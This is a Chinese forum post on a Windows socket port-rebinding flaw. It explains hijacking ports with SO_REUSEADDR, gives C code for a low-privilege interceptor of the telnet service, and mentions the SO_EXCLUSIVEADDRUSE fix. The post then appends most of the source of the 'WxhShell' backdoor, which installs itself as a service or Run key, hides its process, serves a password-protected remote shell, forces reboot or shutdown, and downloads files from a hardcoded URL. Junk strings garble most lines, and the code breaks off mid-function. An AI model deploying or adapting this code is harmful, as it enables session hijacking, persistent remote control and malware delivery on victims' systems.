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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Tb93Q@c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0mH>fs 4  
N#C,_ k  
  saddr.sin_family = AF_INET; #`); UAf  
7O;v5k~iQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nW{ ). P  
n:`> QY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j9) Z'L  
^=pn!lK;^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _tb)F"4V  
(O,|1  
  这意味着什么?意味着可以进行如下的攻击: x V~`sqf  
+aEE(u6%E@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pUYa1=  
MJ8z"SKnV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wR@fB  
+x-n,!(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 477jS6^e&  
tE9%;8;H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  syv6" 2Z'B  
Xko[Z;4v8'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K) sO  
(3%NudkwT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NL0X =i  
"npj%O<bd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <{3VK  
:I+%v  
  #include lk%rE  
  #include 3vHEPm]  
  #include #8%Lc3n  
  #include    .AWRe1?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +*DXzVC  
  int main() .B"h6WMz  
  { W _yVVr  
  WORD wVersionRequested; BB|w-W=Kd  
  DWORD ret; + 3aAL&  
  WSADATA wsaData; H^B/ '#mO  
  BOOL val; hoO8s#0ED  
  SOCKADDR_IN saddr; }PK8[N  
  SOCKADDR_IN scaddr; i 0L)hkV  
  int err; g(,gg1mG  
  SOCKET s; ljlQ9wb[s  
  SOCKET sc; nr! kx)j  
  int caddsize; 55zimv&DV  
  HANDLE mt; 4Xe3PdE  
  DWORD tid;   km}%7|R?  
  wVersionRequested = MAKEWORD( 2, 2 ); J5mMx)t@  
  err = WSAStartup( wVersionRequested, &wsaData ); ^$6EO) <  
  if ( err != 0 ) { )C<c{mjk(  
  printf("error!WSAStartup failed!\n"); qI) Yzc/  
  return -1; n>+M4Zb  
  } n3g3(} Q0  
  saddr.sin_family = AF_INET; 2J|Wbey  
   _Sosw|A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }Rt?p8p  
=sG  C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !n}"D:L(  
  saddr.sin_port = htons(23); Qg%B<3 <  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R8W{[@  
  { Mf<P ms\F  
  printf("error!socket failed!\n"); |jU/R  
  return -1; \6T&gX  
  } H8mmmt6g  
  val = TRUE; C^2Tql  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \.POb5]p0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aHXd1\6m  
  { tOn/r@Fd^E  
  printf("error!setsockopt failed!\n"); 2Rc#{A  
  return -1; Oq|RMl  
  } *A@~!@XE4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /Pxt f~$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *=$Jv1"Q +  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bsmZR(EnU  
DKPX_::  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,*+F*:o(m  
  { [as\>@o  
  ret=GetLastError(); Z7V 1e<E  
  printf("error!bind failed!\n"); %S. _3`A  
  return -1; ol^OvG:TQ  
  } q$yTG!q*  
  listen(s,2); kbN2dL  
  while(1) Ev,>_1#Xm  
  { ^r?ZrbSbz  
  caddsize = sizeof(scaddr); p[!&D}&6h  
  //接受连接请求 VA&_dU]*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d!D#:l3;  
  if(sc!=INVALID_SOCKET) >KNiMW^V  
  { ]t=m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K pDKIi  
  if(mt==NULL) MD1n+FgTu  
  { QaH32(iH  
  printf("Thread Creat Failed!\n"); 5*/~) wN\U  
  break; -v/1R1$e1  
  } z{wJQZ9"  
  } Nz'fMdaX,  
  CloseHandle(mt); +4Aj/$%[q  
  } N<zD<q  
  closesocket(s); |e!%6Qq3  
  WSACleanup(); mp*&{[XoVC  
  return 0; Q_$aiE  
  }   ]o$aGrZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) % r`hW \4{  
  {  TTZb.  
  SOCKET ss = (SOCKET)lpParam; ^RAst1q7  
  SOCKET sc; <'>c`80@\*  
  unsigned char buf[4096]; p9 <XaJ}   
  SOCKADDR_IN saddr; 1Mn=m w  
  long num; DI{VJ&n66  
  DWORD val; i+ ]3J/J  
  DWORD ret; *39Y1+=)$$  
  //如果是隐藏端口应用的话,可以在此处加一些判断  SP?~i@H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x"9`w 42\r  
  saddr.sin_family = AF_INET; 4@AY~"dq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i%_W{;e  
  saddr.sin_port = htons(23); n0bm 'qw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +DmfqKKbd  
  { (u-K^xC  
  printf("error!socket failed!\n"); 5Tag-+  
  return -1; ,bzE`6  
  } pX8TzmIB0  
  val = 100; `|)V]<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RZoSP(6  
  { aZn]8jC%  
  ret = GetLastError(); XD%@Y~>+  
  return -1; mM0VUSy  
  } S~()A*5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wX Z"}uT<}  
  { G8z.JX-7g  
  ret = GetLastError(); F$.h+v   
  return -1; Rsd~t_a1  
  } lHerEv<ja  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O?L6Ues  
  { He vZ}.  
  printf("error!socket connect failed!\n"); a> qB k})  
  closesocket(sc); (yA`h@@WS  
  closesocket(ss); v7gs $'Q  
  return -1; /*Iq,"kGz  
  } c|RTP  
  while(1) $ha,DlN  
  {  vX1 8 ]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >!sxX = <  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h*d1G9%Q1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K G<. s<  
  num = recv(ss,buf,4096,0); =hFIH\x  
  if(num>0) S9RH&/^H  
  send(sc,buf,num,0); yhm6%  
  else if(num==0) ~+|Vzm|S}  
  break; yAD-sy +/  
  num = recv(sc,buf,4096,0); |`eHUtjH  
  if(num>0) zW#P ~zS  
  send(ss,buf,num,0); >n$V1U&/  
  else if(num==0) VJbsM1y M  
  break; NH9"89]E  
  } 3MX&%_wUhB  
  closesocket(ss); n x4:n@J  
  closesocket(sc); U/}YpLgdD  
  return 0 ; 0OCmyy  
  } =Ot|d #_  
=D;n#n7  
Rtpk_ND!  
========================================================== 9U&~H*Hf  
RK )1@Tz7!  
下边附上一个代码,,WXhSHELL jKr\mb  
P^[eTR*?  
========================================================== T,@s.v  
*I]/ [d  
#include "stdafx.h" Xna58KF/  
g$f+X~Q  
#include <stdio.h> BK 3oNDy  
#include <string.h> .w,$ TezGP  
#include <windows.h> w3Lr~_j  
#include <winsock2.h> {,aX|*1Ku~  
#include <winsvc.h> =$mPReA3v  
#include <urlmon.h> EDAtC  
Fz11/sKz  
#pragma comment (lib, "Ws2_32.lib") ?}g^/g !  
#pragma comment (lib, "urlmon.lib") q7z`oK5  
:3b.`s(M  
#define MAX_USER   100 // 最大客户端连接数 boS=  
#define BUF_SOCK   200 // sock buffer Th_PmkvC  
#define KEY_BUFF   255 // 输入 buffer (vP<}  
2$r8^}Nj?  
#define REBOOT     0   // 重启 G+7#!y Y  
#define SHUTDOWN   1   // 关机 ^?J3nf{  
n f.H0i;  
#define DEF_PORT   5000 // 监听端口 )DB\du   
BTc }Kfae  
#define REG_LEN     16   // 注册表键长度 a\-AGG{2/X  
#define SVC_LEN     80   // NT服务名长度 :A7\eN5  
uwl_TDc>%  
// 从dll定义API .jUM'; l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w)N~u%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9U>OeTh(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Cu2xRr^`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ff&jR71E  
-wa"&Q  
// wxhshell配置信息 @yM$Et5  
struct WSCFG { @U+#@6  
  int ws_port;         // 监听端口 /|0xOiib  
  char ws_passstr[REG_LEN]; // 口令 Z_U4Yy'NNw  
  int ws_autoins;       // 安装标记, 1=yes 0=no +Tt.5>N  
  char ws_regname[REG_LEN]; // 注册表键名 zfrNM9C  
  char ws_svcname[REG_LEN]; // 服务名 }1 ,\ *)5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .^dtdFZ8,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @AtJO>w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (^oN, 7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `=V p 0tPI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r=-b@U.fk>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (/7b8)g  
hCBre5  
}; .(RZ&*4  
 .0YcB  
// default Wxhshell configuration a8$4  
struct WSCFG wscfg={DEF_PORT, NX4G;+6  
    "xuhuanlingzhe", c=,HLHpFO(  
    1, =MU(!`  
    "Wxhshell", ]ur?i{S,  
    "Wxhshell", {p.^E5&  
            "WxhShell Service", % n RgHN>  
    "Wrsky Windows CmdShell Service", 9>ajhFyOhX  
    "Please Input Your Password: ", ayI<-s-  
  1, %oB0@&!mS  
  "http://www.wrsky.com/wxhshell.exe", ZIN1y;dJ  
  "Wxhshell.exe" ,eGguNA9  
    }; h0R.c|g[  
<?nz>vz  
// 消息定义模块 kXV;J$1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $Qz<:?D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |LW5dtQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [tT_ z<e`  
char *msg_ws_ext="\n\rExit."; yh2)Pc[  
char *msg_ws_end="\n\rQuit."; S B~opN  
char *msg_ws_boot="\n\rReboot..."; -Uan.#~S  
char *msg_ws_poff="\n\rShutdown...";  5@DCo  
char *msg_ws_down="\n\rSave to "; Mw3$QRM  
fMIRr5  
char *msg_ws_err="\n\rErr!"; k%3)J"|/  
char *msg_ws_ok="\n\rOK!"; IL go:xQ  
<6Y|vEo!N  
char ExeFile[MAX_PATH]; 15@2h  
int nUser = 0; %~I&T". iC  
HANDLE handles[MAX_USER]; |8pSMgN  
int OsIsNt; denxcDFu/~  
uI$n7\G!  
SERVICE_STATUS       serviceStatus; NN#k^[i1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4> uNH5  
n }b{u@$  
// 函数声明 ^k*%`iQ  
int Install(void); [>N#61CV 5  
int Uninstall(void); 0SU v5c  
int DownloadFile(char *sURL, SOCKET wsh); p>,D F9W`  
int Boot(int flag); |sI@m@  
void HideProc(void); No"i6R+  
int GetOsVer(void); ul3~!9F5F  
int Wxhshell(SOCKET wsl); Tw djBMte  
void TalkWithClient(void *cs); 8 :WN@  
int CmdShell(SOCKET sock); w$IUm_~waa  
int StartFromService(void); 4#{f8  
int StartWxhshell(LPSTR lpCmdLine); t{g@z3  
Qo :vAv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  V~VUl)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;vneeW4|  
ep~+]7\  
// 数据结构和表定义 ber&!9  
SERVICE_TABLE_ENTRY DispatchTable[] = @ <3E `j'p  
{ DXG`%<ZMn  
{wscfg.ws_svcname, NTServiceMain}, X~UL$S;  
{NULL, NULL} pV(k6h  
}; Z^]jy>dj  
'z^'+}iyv  
// 自我安装 }W@refS  
int Install(void) #8sy QWlG  
{ =@ acg0  
  char svExeFile[MAX_PATH]; -<g[P_#  
  HKEY key; e`co:HO`#  
  strcpy(svExeFile,ExeFile); e/cHH3 4  
rrR"2WuGO  
// 如果是win9x系统,修改注册表设为自启动 <o9AjASv\,  
if(!OsIsNt) { $@@ii+W}\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :-O$rm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'j*Q   
  RegCloseKey(key); qH0JZdk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %X's/;(Lx`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sBYDo{0 1  
  RegCloseKey(key); JN:L%If  
  return 0; ^\g.iuE  
    } k>F!S`a&m  
  } 2Y%7.YX"  
} 5Q <vS"g  
else { *= O]^|]2  
9+MW13?  
// 如果是NT以上系统,安装为系统服务 =dH=3iCG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KB^8Z@(+  
if (schSCManager!=0) V,=5}qozQ  
{ XlD=<$Nk7  
  SC_HANDLE schService = CreateService !yT=*Cj4  
  ( qtdkK LT  
  schSCManager, )^BZ,e  
  wscfg.ws_svcname, q6N{N>-D  
  wscfg.ws_svcdisp, >?OUs>}3y2  
  SERVICE_ALL_ACCESS, u:']jw=f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n_4.`vs  
  SERVICE_AUTO_START,  Uj\t04  
  SERVICE_ERROR_NORMAL, M*bsA/Z  
  svExeFile, Y[vP]7-  
  NULL, 2+I5VPf  
  NULL, [u;(4sa}  
  NULL, H>D sAHS  
  NULL, Y@:l!4DI  
  NULL _f8H%Kgk;  
  ); MM]0}65KG  
  if (schService!=0) t\LE\[XM>  
  { 50dN~(;p  
  CloseServiceHandle(schService); )b (+=  
  CloseServiceHandle(schSCManager); \BH?GMoP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x1Y/^ks@2  
  strcat(svExeFile,wscfg.ws_svcname); @I|kY5'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4[#)p}V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y'jgp Vt  
  RegCloseKey(key); ViyG%Sm  
  return 0; IJKdVb~   
    } (^W :f{  
  } O7_y QQAA  
  CloseServiceHandle(schSCManager); G /$+e  
} ygV_"=+|N  
} pGD-K41O]  
$[b}r#P  
return 1; 43y@9P0  
} +zbCYA  
:R +BC2x  
// 自我卸载 n7B2rRJH  
int Uninstall(void) lK/4"&  
{ ,aD~7QX1:  
  HKEY key; @=P c{xp  
v FQ]>n X  
if(!OsIsNt) { .SmG)5U]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 88<d<)7t  
  RegDeleteValue(key,wscfg.ws_regname); yPT o,,ca=  
  RegCloseKey(key); 5D=U.UdR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]@cI_n  
  RegDeleteValue(key,wscfg.ws_regname); ZvQZD=,F  
  RegCloseKey(key); 7Y-Q, ?1  
  return 0; uH? 4d!G  
  } #g@4c3um|  
} ~3Pp}eO~V  
} <,it<$f#  
else { >Ik%_:CC`  
_-H,S)kI`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vt \g9-[  
if (schSCManager!=0) =jh^mD&'  
{ 9{ge U9&Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nh0gT>a>@  
  if (schService!=0) <+r~?X_  
  { 8+7*> FD)1  
  if(DeleteService(schService)!=0) { RTvOaZ  
  CloseServiceHandle(schService); (e~9T MY  
  CloseServiceHandle(schSCManager); |OAiHSW"V  
  return 0;  \v+c.  
  } k<j]b^jbz  
  CloseServiceHandle(schService); :-U& _%#w  
  } @:B}QxC  
  CloseServiceHandle(schSCManager); Y@q9   
} oiR9NB&<  
} (pM& eow}  
^fsC]9NS  
return 1; _g9j_ x:=  
} ZU0*iA  
nj00g>:>  
// 从指定url下载文件 b?cO+PY01  
int DownloadFile(char *sURL, SOCKET wsh) G9xO>Xp^Al  
{ Het>G{  
  HRESULT hr; 6C<GYzzo  
char seps[]= "/"; 0~_I9|FN  
char *token; k:iy()n[  
char *file; ollVg/z  
char myURL[MAX_PATH]; !mWm@ }Ujg  
char myFILE[MAX_PATH]; ~iiDy;"  
i9rv8 "0>  
strcpy(myURL,sURL); Gg GjBt  
  token=strtok(myURL,seps); -R1;(n)  
  while(token!=NULL) gaNe\  
  { _,v?rFLE  
    file=token; +t*I{X(  
  token=strtok(NULL,seps); LkK&<z  
  } -Vb5d!(  
8 l= EL7  
GetCurrentDirectory(MAX_PATH,myFILE); yn@wce  
strcat(myFILE, "\\"); @`nG &U  
strcat(myFILE, file); ^x/D8 M  
  send(wsh,myFILE,strlen(myFILE),0); })kx#_o]'d  
send(wsh,"...",3,0); 1ljcbD)T;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _-#o[>2[  
  if(hr==S_OK) MQcIH2  
return 0; uTz>I'f  
else lb*;Z7fx<'  
return 1; ">h$(WCK  
0*kS\R=P  
} `'P&={p8  
(nBh6u*  
// 系统电源模块 ;gu4~LQw  
int Boot(int flag) |9.J?YP8 (  
{ _I3"35a  
  HANDLE hToken; 'r_Fi5[q  
  TOKEN_PRIVILEGES tkp; 7@e}rh?N-|  
;o;ak.dTt  
  if(OsIsNt) { [euR<i*I#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qe?Ns+j<d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I`jG  
    tkp.PrivilegeCount = 1; tQxxm=>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l_9ZzN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &Qj1uf92.  
if(flag==REBOOT) { Ma(Q~G .  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 91yYR*  
  return 0; `HYj:4v'  
} 2?:OsA}  
else { |/8!P Km  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MT)q?NcG  
  return 0; ^ r(]S%  
} 8KkN "4'  
  } (Rq6m`M2  
  else { ?UIW&*h}  
if(flag==REBOOT) { Z 5P4 H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =TzJgx  
  return 0; pV\> ?  
} Z-_Xt^N  
else { .!lLj1?p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a+O?bO  
  return 0; aR@+Qf  
} <-G3Qgm  
} S1~K.<B  
m J$[X  
return 1; r| \""  
} y] O&w{m$  
uTJ z"c`F  
// win9x进程隐藏模块 zLg$|@E&  
void HideProc(void) v_v>gPl,  
{ & @_PY  
nUX3a'R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |yp^T  
  if ( hKernel != NULL ) m#O; 1/P  
  { (]&B' 1b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zy?!;`c*{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :9x]5;ma  
    FreeLibrary(hKernel); * uccY_  
  } f w)tWJVD  
]c|JxgU  
return; @8aV*zjB  
} GiK,+M"d  
q|s:&&Wf  
// 获取操作系统版本 ` l'QAIo  
int GetOsVer(void) 7zU~ X,  
{ U,fPG/9  
  OSVERSIONINFO winfo; vflC{,{=k>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >zw@!1{1  
  GetVersionEx(&winfo); hPGDN\#LD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w~pe?j_F$  
  return 1; oOubqx  
  else Z0'LD<  
  return 0; mF4OLG3L0  
} Buq(L6P9r  
EKN<KnU%  
// 客户端句柄模块 K&gE4;>  
int Wxhshell(SOCKET wsl) $83Qd  
{ /P46k4M1U  
  SOCKET wsh; ,VUOsNN4\  
  struct sockaddr_in client; ux6)K= ]  
  DWORD myID; MU `!s b*  
=JP Y{'VO  
  while(nUser<MAX_USER) 4OO^%`=)M'  
{ {9j0k`A  
  int nSize=sizeof(client); x5;D'Y t"|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q?([#  
  if(wsh==INVALID_SOCKET) return 1; t@+e#3P!  
M _cm,|FF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4@mJEi{  
if(handles[nUser]==0) Ik A~+6UY  
  closesocket(wsh); W>&*.3{v  
else t%k`)p7O  
  nUser++;  => Qd  
  } i=rA;2>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 83#<Yxk~  
| "M1+(k7  
  return 0; Ytqx 0  
} Hl{ul'o  
g_>E5z.  
// 关闭 socket n? =O@yq  
void CloseIt(SOCKET wsh) cf"!U+x  
{ ,Tx38  
closesocket(wsh); Y<N#{)Q  
nUser--; Kg /,  
ExitThread(0); IC$"\7 @  
} hM="9] i.  
gOE ?  
// 客户端请求句柄 o~4kJW #  
void TalkWithClient(void *cs) JP ;SO  
{ TC=>De2;  
/Zx"BSu  
  SOCKET wsh=(SOCKET)cs; V!TGFo}  
  char pwd[SVC_LEN]; _pvt,pW  
  char cmd[KEY_BUFF]; L/GV Qjb  
char chr[1]; Z$('MQ|Ur  
int i,j; qAlX#]  
3Y +;8ld  
  while (nUser < MAX_USER) { -sDl[  
gdyWuOxa|  
if(wscfg.ws_passstr) { Zm6jF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'r-B%D=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43,*.1;sz  
  //ZeroMemory(pwd,KEY_BUFF); GGZ9DC\{  
      i=0; .]<gm9l  
  while(i<SVC_LEN) { x1Gc|K/-  
|A0U 3$S=  
  // 设置超时 ajkpU.6E:  
  fd_set FdRead; d5{RIM|  
  struct timeval TimeOut; m?4HVv  
  FD_ZERO(&FdRead); 9 *v14c%  
  FD_SET(wsh,&FdRead); @cx#'  
  TimeOut.tv_sec=8; heb{i5el  
  TimeOut.tv_usec=0; ALInJ{X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5RY-.c4}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i`}9VaUG  
7<2^8 `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *`Ge8?qC  
  pwd=chr[0]; ,#0#1k<Dm  
  if(chr[0]==0xd || chr[0]==0xa) { (58r9WhS  
  pwd=0; +OSSgY$  
  break; j!0-3YKv  
  } 5;XU6Rz!  
  i++; mr]~(]B?r  
    } l6MBnvi   
a%an={  
  // 如果是非法用户,关闭 socket 5~#oQ&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w-@6qMJ  
} ye}86{l  
J~ *>pp#U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G#E8xA"{/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IkGM~3e  
0/%RrE  
while(1) { U` )d `4"  
tpgD{BY^wJ  
  ZeroMemory(cmd,KEY_BUFF); FysIN~  
Gsm.a  
      // 自动支持客户端 telnet标准   u:wf :^  
  j=0; <<@F{B7h  
  while(j<KEY_BUFF) { /7.//klN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XN3'k[  
  cmd[j]=chr[0]; 9%MgAik(  
  if(chr[0]==0xa || chr[0]==0xd) { $}0\sj%  
  cmd[j]=0; yVpru8+eD  
  break; |gT8QP  
  } R"z}q (O:  
  j++; ^ZBTd5t#  
    } UZ:z|a3  
i0?/\@gd  
  // 下载文件 E429<LQI/  
  if(strstr(cmd,"http://")) { 3_{rXtT)'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); usi3z9P>n  
  if(DownloadFile(cmd,wsh)) #nj;F'O](  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f|j<Mj+\  
  else br?pfs$U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f&Juq8s_0  
  } lXVh`+X/l  
  else { - Sn]`  
B_3N:K Y 9  
    switch(cmd[0]) { UzV78^:,iD  
  '@^mesMG  
  // 帮助 \r3SvBwhFv  
  case '?': { cF"}}c1*M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <:StZ{o;  
    break; _X{ GZJm  
  } scE#&OWF%  
  // 安装 .[?2_e#9%  
  case 'i': { I&% Z*H  
    if(Install()) ^i@0P}K<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eK\i={va  
    else 6r h#ATep  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x-q_sZ^8  
    break; +7y#c20  
    } &IG*;$c!  
  // 卸载 @qF:v]=_@  
  case 'r': { ,"?8  
    if(Uninstall()) Q>G% *?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wS|hc+1  
    else hij 9r z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >``  
    break; [[ll4|  
    } TFXKCl  
  // 显示 wxhshell 所在路径 TCkMJs?  
  case 'p': { Dh68=F0  
    char svExeFile[MAX_PATH]; J7kqyo"  
    strcpy(svExeFile,"\n\r"); F84<='K  
      strcat(svExeFile,ExeFile); tU.~7f#+A  
        send(wsh,svExeFile,strlen(svExeFile),0); {]4Zpev  
    break; Fc^!="H  
    } ;):E 8;B)  
  // 重启 Xhpcu1nA  
  case 'b': { JI&.d:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aR)w~s\6  
    if(Boot(REBOOT)) wOEc~WOd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i G%R'/*  
    else { :=:m4UJb  
    closesocket(wsh); AO(z l*4  
    ExitThread(0); v&sl_w/tn  
    } T#&X7!4  
    break; 7GJcg7s*T  
    } bUuQ"!>ppu  
  // 关机 4Q,|7@  
  case 'd': { n8z++ T&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2r@9|}La  
